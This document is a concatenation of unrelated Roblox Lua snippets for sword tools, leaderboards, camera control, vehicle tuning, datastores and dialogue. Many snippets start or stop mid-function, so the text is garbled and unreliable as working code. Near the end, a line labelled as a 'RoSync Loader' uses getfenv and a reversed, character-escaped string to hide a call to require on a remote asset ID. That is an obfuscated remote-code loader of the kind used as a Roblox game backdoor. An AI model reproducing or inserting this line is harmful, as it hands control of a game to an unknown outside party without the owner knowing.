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--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") RunAnim = Tool:WaitForChild("RunAnim") Returned = Tool:WaitForChild("Returned") Debris = game:GetService("Debris") Players = game:GetService("Players") Anims = {"RightSlash", "LeftSlash", "OverHeadSwing", "LeftSwingFast", "RightSwingFast"} BaseDamage = 5 SlashDamage = 10 SwingDamage = 15 Damage = BaseDamage SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = Handle SlashSound.Volume = 0.7 UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = Handle UnsheathSound.Volume = 0.5 function Blow(Hit) if Hit and Hit.Parent then local humanoid = Hit.Parent:FindFirstChild("Humanoid") if Character and Player and Humanoid and humanoid and humanoid ~= Humanoid and humanoid.Health > 0 and Humanoid.Health > 0 then local right_arm = Character:FindFirstChild("Right Arm") if right_arm then local joint= right_arm:FindFirstChild("RightGrip") if joint and (joint.Part0 == Handle or joint.Part1 == Handle) then TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end end end end end function TagHumanoid(humanoid, player) for i, v in pairs(humanoid:GetChildren()) do if v.Name == "creator" then v:Destroy() end end local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" Debris:AddItem(creator_tag, 1) creator_tag.Parent = humanoid end function OnActivated() if Tool.Enabled and Returned.Value then Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Tool.Enabled = false local TempAnims = {} for i, v in pairs(Anims) do if v ~= LastAnim then table.insert(TempAnims, v) end end NewAnim = TempAnims[math.random(1, #TempAnims)] LastAnim = NewAnim RunAnim.Value = NewAnim if Humanoid and NewAnim then SlashSound:Play() if NewAnim == "OverHeadSwing" then Damage = SwingDamage else Damage = SlashDamage end wait(0.75) Damage = BaseDamage end Tool.Enabled = true end end function OnEquipped(Mouse) UnsheathSound:Play() end Tool.Activated:connect(OnActivated) Tool.Equipped:connect(OnEquipped) Connection = Handle.Touched:connect(Blow)
--[=[ @param default any @return value: any If the option holds a value, returns the value. Otherwise, returns `default`. ]=]
function Option:UnwrapOr(default) if self:IsSome() then return self:Unwrap() else return default end end
--Get the data store with key "Leaderboard"
wait(10) while true do for i,plr in pairs(game.Players:GetChildren()) do--Loop through players if plr.UserId>0 then--Prevent errors local ps = game:GetService("PointsService")--PointsService local w = ps:GetGamePointBalance(plr.UserId)--Get point balance if w then pcall(function() --Wrap in a pcall so if Roblox is down, it won't error and break. dataStore:UpdateAsync(plr.UserId,function(oldVal) --Set new value return tonumber(w) end) end) end end end local smallestFirst = false--false = 2 before 1, true = 1 before 2 local numberToShow = 100--Any number between 1-100, how many will be shown local minValue = 1--Any numbers lower than this will be excluded local maxValue = 10e30--(10^30), any numbers higher than this will be excluded local pages = dataStore:GetSortedAsync(smallestFirst, numberToShow, minValue, maxValue) --Get data local top = pages:GetCurrentPage()--Get the first page local data = {}--Store new data for a,b in ipairs(top) do--Loop through data local userid = b.key--User id local points = b.value--Points local username = "[Failed To Load]"--If it fails, we let them know local s,e = pcall(function() username = game.Players:GetNameFromUserIdAsync(userid)--Get username end) if not s then--Something went wrong warn("Error getting name for "..userid..". Error: "..e) end local image = game.Players:GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150) --Make a image of them table.insert(data,{username,points,image})--Put new data in new table end ui.Parent = script sf:ClearAllChildren()--Remove old frames ui.Parent = sf for number,d in pairs(data) do--Loop through our new data local name = d[1] local val = d[2] local image = d[3] local color = Color3.new(1,1,1)--Default color if number == 1 then color = Color3.new(1,1,0)--1st place color elseif number == 2 then color = Color3.new(0.9,0.9,0.9)--2nd place color elseif number == 3 then color = Color3.fromRGB(166, 112, 0)--3rd place color end local new = sample:Clone()--Make a clone of the sample frame new.Name = name--Set name for better recognition and debugging new.LayoutOrder = number--UIListLayout uses this to sort in the correct order new.Image.Image = image--Set the image new.Image.Place.Text = number--Set the place new.Image.Place.TextColor3 = color--Set the place color (Gold = 1st) new.PName.Text = name--Set the username new.Value.Text = val--Set the amount of points new.Value.TextColor3 = color--Set the place color (Gold = 1st) new.PName.TextColor3 = color--Set the place color (Gold = 1st) new.Parent = sf--Parent to scrolling frame end wait() sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y) --Give enough room for the frames to sit in wait(120) end
--script.Parent.FF.Velocity = script.Parent.FF.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.FFF.Velocity = script.Parent.FFF.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.FFFF.Velocity = script.Parent.FFFF.CFrame.lookVector *script.Parent.Speed.Value script.Parent.G.Velocity = script.Parent.G.CFrame.lookVector *script.Parent.Speed.Value
-- this part makes the brick draw:
lastpoint = Vector3.new(0, 0, 0) leds = {} function makeled() tip = script.Parent:FindFirstChild("Tip") if tip~= nil then off = (tip.Mesh.Scale.z/tip.Size.z)/2 point = (tip.CFrame*CFrame.new(0, 0, -off)).p unit = (lastpoint - point).unit mag = (lastpoint - point).magnitude if mag>1 then middle = lastpoint-(unit*(mag/2)) cf = CFrame.new(middle, point) local l = Instance.new("Part") l.Name = "Led" l.Anchored = true l.CanCollide = false l.Size = Vector3.new(1, 1, 1) l.BrickColor = tip.BrickColor l.TopSurface = 0 l.BottomSurface = 0 local m= Instance.new("SpecialMesh") m.MeshType = "Brick" m.Scale = Vector3.new(.3, .3, mag)/l.Size m.Parent = l l.Parent = workspace l.CFrame = cf table.insert(leds, l) lastpoint = point end end end function fade() for i, v in pairs(leds) do if v~= nil then v.Transparency = v.Transparency+.04 if v.Transparency>1 then v:remove() end end end end while true do makeled() wait(.004) fade() end
-- Class
local TextMaskClass = {} TextMaskClass.__index = TextMaskClass TextMaskClass.__type = "TextMask" function TextMaskClass:__tostring() return TextMaskClass.__type end
-- Called to update all of the look-angles being tracked -- on the client, as well as our own client look-angles. -- This is called during every RunService Heartbeat.
function CharacterRealism:UpdateLookAngles(delta) -- Update our own look-angles with no latency local pitch, yaw = self:ComputeLookAngle() self:OnLookReceive(self.Player, pitch, yaw) -- Submit our look-angles if they have changed enough. local lastUpdate = self.LastUpdate or 0 local now = os.clock() if (now - lastUpdate) > .5 then pitch = Util:RoundNearestInterval(pitch, .05) yaw = Util:RoundNearestInterval(yaw, .05) if pitch ~= self.Pitch then self.Pitch = pitch self.Dirty = true end if yaw ~= self.Yaw then self.Yaw = yaw self.Dirty = true end if self.Dirty then self.Dirty = false self.LastUpdate = now self.SetLookAngles:FireServer(pitch, yaw) end end -- Update all of the character look-angles local camera = workspace.CurrentCamera local camPos = camera.CFrame.Position local player = self.Player local dropList for character, rotator in pairs(self.Rotators) do if not character.Parent then if not dropList then dropList = {} end dropList[character] = true continue end local owner = Players:GetPlayerFromCharacter(character) local dist = owner and owner:DistanceFromCharacter(camPos) or 0 if owner ~= player and dist > 30 then continue end local lastStep = rotator.LastStep or 0 local stepDelta = now - lastStep local humanoid = character:FindFirstChildOfClass("Humanoid") local rootPart = humanoid and humanoid.RootPart if not rootPart then continue end local pitchState = rotator.Pitch self:StepValue(pitchState, stepDelta) local yawState = rotator.Yaw self:StepValue(yawState, stepDelta) local motors = rotator.Motors rotator.LastStep = now if not motors then continue end for name, factors in pairs(self.RotationFactors) do local data = motors and motors[name] if not data then continue end local motor = data.Motor local origin = data.Origin if origin then local part0 = motor.Part0 local setPart0 = origin.Parent if part0 and part0 ~= setPart0 then local newOrigin = part0:FindFirstChild(origin.Name) if newOrigin and newOrigin:IsA("Attachment") then origin = newOrigin data.Origin = newOrigin end end origin = origin.CFrame elseif data.C0 then origin = data.C0 else continue end local pitch = pitchState.Current or 0 local yaw = yawState.Current or 0 if rotator.SnapFirstPerson and name == "Head" then if FpsCamera:IsInFirstPerson() then pitch = pitchState.Goal yaw = yawState.Goal end end local fPitch = pitch * factors.Pitch local fYaw = yaw * factors.Yaw -- HACK: Make the arms rotate with a tool. if name:sub(-4) == " Arm" or name:sub(-8) == "UpperArm" then local tool = character:FindFirstChildOfClass("Tool") if tool and not CollectionService:HasTag(tool, "NoArmRotation") then if name:sub(1, 5) == "Right" and rootPart:GetRootPart() ~= rootPart then fPitch = pitch * 1.3 fYaw = yaw * 1.3 elseif name:sub(1, 4) == "Left" and rootPart:GetRootPart() ~= rootPart then fPitch = pitch * 1 fYaw = yaw * 1.5 else fYaw = yaw * .8 end end end local dirty = false if fPitch ~= pitchState.Value then pitchState.Value = fPitch dirty = true end if fYaw ~= yawState.Value then yawState.Value = fYaw dirty = true end if dirty then local rot = origin - origin.Position local cf = CFrame.Angles(0, fPitch, 0) * CFrame.Angles(fYaw, 0, 0) motor.C0 = origin * rot:Inverse() * cf * rot end end end -- If the dropList is declared, remove any characters that -- were indexed into it. This is done after iterating over -- the rotators to avoid problems with removing data from -- a table while iterating over said table. if dropList then for character in pairs(dropList) do local rotator = self.Rotators[character] local listener = rotator and rotator.Listener if listener then listener:Disconnect() end self.Rotators[character] = nil end end end
-- ROBLOX deviation: Template literals are represented as a string
export type EachTable = ArrayTable | TemplateTable | string export type TestCallback = BlockFn | TestFn | ConcurrentTestFn
--- On Fire
Signal.Fired = function(eventName) --- Variables eventName = string.lower(eventName) --- Get/create event local event = GetEvent(eventName) -- return event.Event end
-- Infinitely update the target position for the tank
currentElev = 0; currentRot = 0; while wait() do if (myMouse) then -- Position of mouse in world mousePoint = myMouse.Hit.p; -- Vector from tank to mouse point targetVector = (mousePoint - parts.GunBase.CFrame.p).unit; -- Determine where the gun should point targetRotations = determineNewDirections(targetVector); -- For each time we do all that math to determine the angle, we will smoothly rotate the gun towards it in 4 increments -- This means less lag (fewer calculations) but it's still smooth for i = 0, 1 do newRotations = getSmoothRotation(targetRotations); TFE:FireServer('RotateTurret',parts,currentElev, currentRot) wait(); end end end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") RunService = game:GetService("RunService") UserInputService = game:GetService("UserInputService") Animations = {} LocalObjects = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") InputCheck = Instance.new("ScreenGui") InputCheck.Name = "InputCheck" InputButton = Instance.new("ImageButton") InputButton.Name = "InputButton" InputButton.Image = "" InputButton.BackgroundTransparency = 1 InputButton.ImageTransparency = 1 InputButton.Size = UDim2.new(1, 0, 1, 0) InputButton.Parent = InputCheck ToolEquipped = false function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then local Edited = false for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:AdjustSpeed(value.Speed) --v.AnimationTrack:AdjustWeight(value.Weight, value.FadeTime) Edited = true break end end if Edited then return end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(Animations, i) end end end end function DisableJump(Boolean) if PreventJump then PreventJump:disconnect() end if Boolean then PreventJump = Humanoid.Changed:connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") ToolEquipped = true if not CheckIfAlive() then return end Spawn(function() PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() InvokeServer("MouseClick", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("MouseClick", {Down = false}) end) Mouse.KeyDown:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = false}) end) Mouse.Move:connect(function() InvokeServer("MouseMove", {Position = Mouse.Hit.p, Target = Mouse.Target}) end) local PlayerGui = Player:FindFirstChild("PlayerGui") if PlayerGui then if UserInputService.TouchEnabled then InputCheckClone = InputCheck:Clone() InputCheckClone.InputButton.InputBegan:connect(function() InvokeServer("MouseClick", {Down = true}) end) InputCheckClone.InputButton.InputEnded:connect(function() InvokeServer("MouseClick", {Down = false}) end) InputCheckClone.Parent = PlayerGui end end end) end function Unequipped() LocalObjects = {} if InputCheckClone and InputCheckClone.Parent then InputCheckClone:Destroy() end for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do if v then v:disconnect() end end Animations = {} ToolEquipped = false end function InvokeServer(mode, value) pcall(function() local ServerReturn = ServerControl:InvokeServer(mode, value) return ServerReturn end) end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target} elseif mode == "DisableJump" then DisableJump(value) elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then pcall(function() local ObjectFound = false for i, v in pairs(LocalObjects) do if v == value then ObjectFound = true end end if not ObjectFound then table.insert(LocalObjects, value) if ObjectLocalTransparencyModifier then ObjectLocalTransparencyModifier:disconnect() end ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function() for i, v in pairs(LocalObjects) do if v.Object and v.Object.Parent then local CurrentTransparency = v.Object.LocalTransparencyModifier if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then v.Object.LocalTransparencyModifier = v.Transparency end else table.remove(LocalObjects, i) end end end) end end) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--nope
local thumb = script:FindFirstChild("Thumb") if thumb ~= nil then thumb:destroy() end
--// -- Confetti Cannon by Richard, Onogork 2018. --// -- Services.
local svcWorkspace = game:GetService("Workspace"); local Camera = svcWorkspace.CurrentCamera;
-- May return NaN or inf or -inf
local function findAngleBetweenXZVectors(vec2, vec1) -- This is a way of finding the angle between the two vectors: return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end local function CreateFollowCamera() local module = RootCameraCreator() local tweenAcceleration = math.rad(220) local tweenSpeed = math.rad(0) local tweenMaxSpeed = math.rad(250) local timeBeforeAutoRotate = 2 local lastUpdate = tick() module.LastUserPanCamera = tick() function module:Update() local now = tick() local userPanningTheCamera = (self.UserPanningTheCamera == true) local camera = workspace.CurrentCamera local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera and camera.CameraSubject local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') if lastUpdate == nil or now - lastUpdate > 1 then module:ResetCameraLook() self.LastCameraTransform = nil end if lastUpdate then -- Cap out the delta to 0.5 so we don't get some crazy things when we re-resume from local delta = math.min(0.5, now - lastUpdate) local angle = 0 if not (isInVehicle or isOnASkateboard) then angle = angle + (self.TurningLeft and -120 or 0) angle = angle + (self.TurningRight and 120 or 0) end local gamepadRotation = self:UpdateGamepad() if gamepadRotation ~= Vector2.new(0,0) then userPanningTheCamera = true self.RotateInput = self.RotateInput + gamepadRotation end if angle ~= 0 then userPanningTheCamera = true self.RotateInput = self.RotateInput + Vector2.new(math.rad(angle * delta), 0) end end -- Reset tween speed if user is panning if userPanningTheCamera then tweenSpeed = 0 module.LastUserPanCamera = tick() end local userRecentlyPannedCamera = now - module.LastUserPanCamera < timeBeforeAutoRotate local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then local zoom = self:GetCameraZoom() if zoom < 0.5 then zoom = 0.5 end if self:GetShiftLock() and not self:IsInFirstPerson() then local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) local offset = ((newLookVector * XZ_VECTOR):Cross(UP_VECTOR).unit * 1.75) if IsFiniteVector3(offset) then subjectPosition = subjectPosition + offset end else if self.LastCameraTransform and not userPanningTheCamera then local isInFirstPerson = self:IsInFirstPerson() if (isClimbing or isInVehicle or isOnASkateboard) and lastUpdate and humanoid and humanoid.Torso then if isInFirstPerson then if self.LastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then local y = -findAngleBetweenXZVectors(self.LastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector) if IsFinite(y) then self.RotateInput = self.RotateInput + Vector2.new(y, 0) end tweenSpeed = 0 end elseif not userRecentlyPannedCamera then local forwardVector = humanoid.Torso.CFrame.lookVector if isOnASkateboard then forwardVector = cameraSubject.CFrame.lookVector end local timeDelta = (now - lastUpdate) tweenSpeed = clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta) local percent = clamp(0, 1, tweenSpeed * timeDelta) if not isClimbing and self:IsInFirstPerson() then percent = 1 end local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook()) -- Check for NaN if IsFinite(y) and math.abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2.new(y * percent, 0) end end elseif not (isInFirstPerson or userRecentlyPannedCamera) then local lastVec = -(self.LastCameraTransform.p - subjectPosition) local y = findAngleBetweenXZVectors(lastVec, self:GetCameraLook()) -- Check for NaNs if IsFinite(y) and math.abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2.new(y, 0) end end end end local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) self.RotateInput = Vector2.new() camera.Focus = CFrame.new(subjectPosition) if _G.LockTarget then camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector),_G.LockTarget.Torso.Position); else camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p) end; self.LastCameraTransform = camera.CoordinateFrame if isInVehicle or isOnASkateboard and cameraSubject:IsA('BasePart') then self.LastSubjectCFrame = cameraSubject.CFrame else self.LastSubjectCFrame = nil end end lastUpdate = now end return module end return CreateFollowCamera
--Remove Old Rays
if workspace:findFirstChild("Rays") then workspace:findFirstChild("Rays"):remove() end
-- / Settings / --
local Settings = { Clicked = false }
--[=[ @within Shake @type UpdateCallbackFn () -> (position: Vector3, rotation: Vector3, completed: boolean) ]=]
type UpdateCallbackFn = () -> (Vector3, Vector3, boolean) local RunService = game:GetService("RunService") local Trove = require(script.Parent.Trove) local rng = Random.new() local renderId = 0
--Fires when ther player joins the game.
game.Players.PlayerAdded:connect(function(Player) --Wait for everything to load. repeat game.Players:WaitForChild(Player.Name) until game.Players:FindFirstChild(Player.Name) repeat Player:WaitForChild("Backpack") until Player:FindFirstChild("Backpack") --Load the items from the datastore. LoadData(Player) --Connect the functions to various other events. --Load the items when the player respawns. Player.CharacterAdded:connect(function() LoadData(Player) end) --Save the items when the player receives a new item. game.Players.PlayerRemoving:connect(function(Player) SaveData(Player) end) --Save the items when the player leaves the game. Player.Backpack.ChildAdded:connect(function() SaveData(Player) end) end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 304 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Events
local Events = ReplicatedStorage:FindFirstChild("Events") local LoadSpeeder = Events:FindFirstChild("LoadSpeeder") local LoadCharacter = Events:FindFirstChild("LoadCharacter") local RemoveActivePlayer = Events:FindFirstChild("RemoveActivePlayer") local CheckpointEvent = Events:FindFirstChild("CheckpointEvent")
--[=[ @prop Connected boolean @within RbxScriptConnection Whether or not this connection is still connected. ]=]
--If you scrolled all the way down here just to take this as your own, you have issues you need fixing. If not, then hi!
--[[ EXAMPLE USAGE local newRegion = RotatedRegion.new( centerCFrame, regionSize ) local partInRegion = newRegion:IsInRegion( part.Position ) ]]
-- Permissions
function CanEditObject(object) local player = Players.LocalPlayer local character = player.Character return Permissions.CanEdit end function CanEditProperty(object,propertyData) local tags = propertyData["Tags"] if tags then for _,name in pairs(tags) do if name == "ReadOnly" or name == "NotScriptable" then return false end end end return CanEditObject(object) end
-- Removes old entries in JustTouched
local function RemoveOldTouches() for player, touchTime in pairs(JustTouched) do if time() > touchTime + 0.5 then JustTouched[player] = nil end end end
--[[ Hey, this is Cancels! Today I bring to you the Cancels CoreGui Settings, an invention by ... well ... ROBLOX. If you want to change a setting, do it like this! "true" = WILL show. "false" = WILL show. Don't mess with anything else. Bye, and cheers for taking! -Cancels --]]
Health_Bar = false Player_List = false Tool_Bar = false Chat = false
-- Connections
game.ReplicatedStorage.Notif.OnClientEvent:Connect(function(...) NotificationModule.QueueNotification(...) end)
--[[ Stores templates for different kinds of logging messages. ]]
return { cannotAssignProperty = "The class type '%s' has no assignable property '%s'.", cannotConnectChange = "The %s class doesn't have a property called '%s'.", cannotConnectEvent = "The %s class doesn't have an event called '%s'.", cannotCreateClass = "Can't create a new instance of class '%s'.", computedCallbackError = "Computed callback error: ERROR_MESSAGE", invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)", invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)", mistypedSpringDamping = "The damping ratio for a spring must be a number. (got a %s)", mistypedSpringSpeed = "The speed of a spring must be a number. (got a %s)", pairsDestructorError = "ComputedPairs destructor error: ERROR_MESSAGE", pairsProcessorError = "ComputedPairs callback error: ERROR_MESSAGE", springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.", strictReadError = "'%s' is not a valid member of '%s'.", unknownMessage = "Unknown error: ERROR_MESSAGE", unrecognisedChildType = "'%s' type children aren't accepted as children in `New`.", unrecognisedPropertyKey = "'%s' keys aren't accepted in the property table of `New`" }
--[=[ @tag Component Class @return Component? Gets an instance of a component class from the given Roblox instance. Returns `nil` if not found. ```lua local MyComponent = require(somewhere.MyComponent) local myComponentInstance = MyComponent:FromInstance(workspace.SomeInstance) ``` ]=]
function Component:FromInstance(instance: Instance) return self[KEY_INST_TO_COMPONENTS][instance] end
-- YOUR FIRST TOOL IN SHOP IS EVERYTIME STARTERTOOL SO SET PRICE TO 0--
['Leaderstats'] = true, -- Change this to true if you alredy have leaderstats ['Currency'] = "Money", -- Change it to name of your currency and change it even if you have "Leaderstats" set on true ['MaxValue'] = 5, --Set this to number of tools you have in shop, change it everytime you add new tool!!! } return Settings
-- All characters have a Humanoid object -- If the model has one, it is a character
local h = part.Parent:findFirstChild(Humanoid) -- Find Humanoids in whatever touched this if (h ~=nil) then -- If there is a Humanoid then h.Health = h.MaxHealth -- Set the health to maximum (full healing) end end script.Parent.Touched:connect(onTouched) -- Make it call onTouched when touched
--Categorises a model based on the location of the start and end points of the path in the model
function RoomPackager:CategoriseModel(pathModel) if pathModel:FindFirstChild("EndParts") then return game.ReplicatedStorage.PathModules.Branch elseif pathModel.Start.Position.Y < pathModel.End.Position.Y - 5 then return game.ReplicatedStorage.PathModules.GoingUp elseif pathModel.Start.Position.Y > pathModel.End.Position.Y + 5 then return game.ReplicatedStorage.PathModules.GoingDown else return game.ReplicatedStorage.PathModules.SameHeight end end local function addBehavioursRecur(model, behaviourFolder) local children = model:GetChildren() for i = 1, #children do if children[i]:isA("BasePart") then behaviourFolder:Clone().Parent = children[i] else addBehavioursRecur(children[i], behaviourFolder) end end end RoomPackager.setUpBehaviours = function(roomModel) if roomModel:FindFirstChild("Behaviours") then addBehavioursRecur(roomModel, roomModel.Behaviours) return end local children = roomModel:GetChildren() for i = 1, #children do RoomPackager.setUpBehaviours(children[i]) end end local function processPart(roomModel, part, parts) if part.Parent == roomModel then return end if part.Name == "End" and roomModel:FindFirstChild("End") then local endsModel = Instance.new("Model") --Used for branching the path endsModel.Name = "EndParts" endsModel.Parent = roomModel part.Parent = endsModel roomModel:FindFirstChild("End").Parent = endsModel elseif part.Name == "End" and roomModel:FindFirstChild("EndParts") then part.Parent = roomModel:FindFirstChild("EndParts") elseif part.Name == "End" then part.Parent = roomModel else local topLevelParent = closestParentToWorkspace(part, roomModel) if topLevelParent ~= nil then if topLevelParent:isA("BasePart") then local connectedParts = topLevelParent:GetConnectedParts(true) for _, connectedPart in pairs(connectedParts) do if connectedPart.Name == "End" then table.insert(parts, connectedPart) else local conTopLevelParent = closestParentToWorkspace(connectedPart, roomModel) if conTopLevelParent and conTopLevelParent ~= topLevelParent then conTopLevelParent.Parent = roomModel end end end end topLevelParent.Parent = roomModel end end end function RoomPackager:PackageRoom(roomBasePlate) local roomModel = Instance.new("Model") roomModel.Name = "Path" roomModel.Parent = game.ReplicatedStorage.PathModules local regions = self:RegionsFromBasePlate(roomBasePlate) for i = 1, #regions do --Repeatedly finds 200 parts in the region until none are left while true do local parts = game.Workspace:FindPartsInRegion3(regions[i], nil, 200) if #parts == 0 then break end for _, part in pairs(parts) do processPart(roomModel, part, parts) end end end --Set-up model for use in the path (parts for locating the path are made transparent) roomBasePlate.Transparency = 1 roomBasePlate.Parent = roomModel roomModel:FindFirstChild("Start", true).Parent = roomModel roomModel:FindFirstChild("Start", true).Transparency = 1 if roomModel:FindFirstChild("EndParts") then local ends = roomModel:FindFirstChild("EndParts"):GetChildren() for i = 1, #ends do ends[i].Transparency = 1 end else roomModel.End.Transparency = 1 end roomModel.PrimaryPart = roomBasePlate roomModel.Parent = self:CategoriseModel(roomModel) RoomPackager.setUpBehaviours(roomModel) return roomModel end return RoomPackager
--[[ Last synced 12/11/2020 06:19 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Speedo") script.Parent:WaitForChild("Tach") script.Parent:WaitForChild("ln") local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 1 local revEnd = 7 local intach = car.Body.Dash.Tac.G.Needle local inspd = car.Body.Dash.Spd.G.Needle
--[=[ Gets the datastore for the player. @param player Player @return Promise<DataStore> ]=]
function PlayerDataStoreService:PromiseDataStore(player) return self:PromiseManager() :Then(function(manager) return manager:GetDataStore(player) end) end
--cambrick = script.Parent.Parent.CamBrick
function Seated(theSeated) player = game.Players:playerFromCharacter(theSeated.Part1.Parent) if player ~= nil then thing2 = script.Parent.Turret1211:clone() thing2.Parent = player.Backpack thing2.Vehicle.Value = script.Parent.Parent end end function UNSeated(theSeated) player = game.Players:playerFromCharacter(theSeated.Part1.Parent) if player ~= nil then if player.Backpack:findFirstChild("Turret1211") ~= nil then player.Backpack:findFirstChild("Turret1211").Active = false player.Backpack:findFirstChild("Turret1211"):remove() end end end script.Parent.ChildAdded:connect(Seated) script.Parent.ChildRemoved:connect(UNSeated)
--[=[ Clones the given instance and adds it to the trove. Shorthand for `trove:Add(instance:Clone())`. ]=]
function Trove:Clone(instance: Instance): Instance if self._cleaning then error("Cannot call trove:Clone() while cleaning", 2) end return self:Add(instance:Clone()) end
-- Handles respawning
hum.Died:connect(function() wait(5) backup.Parent = hum.Parent.Parent backup:makeJoints() hum.Parent:Destroy() end) hum.Seated:connect(function() wait(3) if hum ~= nil then hum.Jump = true end end)
-- Looks for a folder within workspace.Terrain that contains elements to visualize casts.
local function GetFastCastVisualizationContainer(): Instance local fcVisualizationObjects = workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME) if fcVisualizationObjects ~= nil then return fcVisualizationObjects end fcVisualizationObjects = Instance.new("Folder") fcVisualizationObjects.Name = FC_VIS_OBJ_NAME fcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there. fcVisualizationObjects.Parent = workspace.Terrain return fcVisualizationObjects end
-- SERVICES
local Players = game:GetService("Players") local HttpService = game:GetService("HttpService")
--PromptShown --* the bread and butter of the interface, the interface should present --* the player with the prompt and responses. The dialogueFolder is the --* folder representing the dialogue, the prompTable is a table in the --* following format: --* { --* Line = "The prompt string.", --* Data = [the data from the prompt node], --* } --* and the responseTables is a list of tables in the following format: --* { --* Line = "Some string to show.", --* Callback = [function to call if the player chooses this response], --* Data = [the data from the response node], --* } --* if a player chooses the response, call the callback.
function Interface.PromptShown(dialogueFolder, promptTable, responseTables) end
--[[Susupension]]
